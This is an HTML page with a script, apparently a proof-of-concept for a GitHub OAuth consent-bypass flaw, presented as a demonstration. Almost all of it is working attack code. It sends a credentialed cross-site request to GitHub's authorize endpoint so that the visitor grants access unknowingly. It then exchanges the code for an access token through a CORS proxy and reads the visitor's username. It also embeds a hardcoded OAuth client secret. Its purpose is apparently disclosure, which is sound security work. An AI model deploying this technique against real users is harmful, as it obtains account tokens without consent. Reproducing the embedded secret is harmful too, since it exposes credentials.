Click the button to start the proof-of-concept. To ensure the proof-of-concept works:

<ul>
  <li>You should be logged into a GitHub account in this browser session.</li>
  <li>You should have third-party cookies enabled in your browser settings (usually this is the default).</li>
</ul>

This proof-of-concept will read your username and display it on this page.

<br>
<button id="start-button">Click here</button>
<div id="result-box"></div>


<script>
const CLIENT_ID = '2edb39b862701051c7ee';
const CLIENT_SECRET = 'fa25dc8183285fcbb56847e541ebd4d1db280153';

const startButton = document.getElementById('start-button');
const resultBox = document.getElementById('result-box');
const url = new URL(window.location);
if (url.searchParams.has('code')) {
  // This is the oauth callback. Get an access token and get the user's username/email address with it as a proof-of-concept.
  startButton.disabled = true;
  startButton.innerText = 'Loading...';

  const code = url.searchParams.get('code');
  fetch(
    // For the proof-of-concept, use a proxy to get around CORS. This is only necessary because the proof of concept runs
    // clientside in a browser; an alternative would be to just send the code to a server and do the request there.
    'https://cors-anywhere.herokuapp.com/https://github.com/login/oauth/access_token',
    {
      method: 'POST',
      mode: 'cors',
      headers: {
        Accept: 'application/json',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        client_id: CLIENT_ID,
        client_secret: CLIENT_SECRET,
        code
      })
    }
  )
    .then(response => response.json())
    .then(result => result.access_token)
    .then(accessToken =>
      fetch(
        'https://api.github.com/user',
        {
          mode: 'cors',
          headers: {
            Authorization: `Bearer ${accessToken}`
          }
        }
      )
    )
    .then(response => response.json())
    .then(user => {
      resultBox.innerText = `Your username is ${user.login}.`
    });
} else {
  // This is the initial pageload
  startButton.addEventListener('click', () => {
    const authUrl = `https://github.com/login/oauth/authorize?client_id=${CLIENT_ID}&scope=read:user&authorize=1`;
    fetch(
      authUrl,
      {
        method: 'HEAD',
        credentials: 'include',
        mode: 'no-cors'
      }
    ).catch(err => {
      throw err;
    }).then(() => {
      // We can't read the auth code on the redirect due to the same-origin policy.
      // However, it shouldn't matter because the app is now authorized and will redirect automatically the next time.
      window.location = authUrl;
    });
  });
}
</script>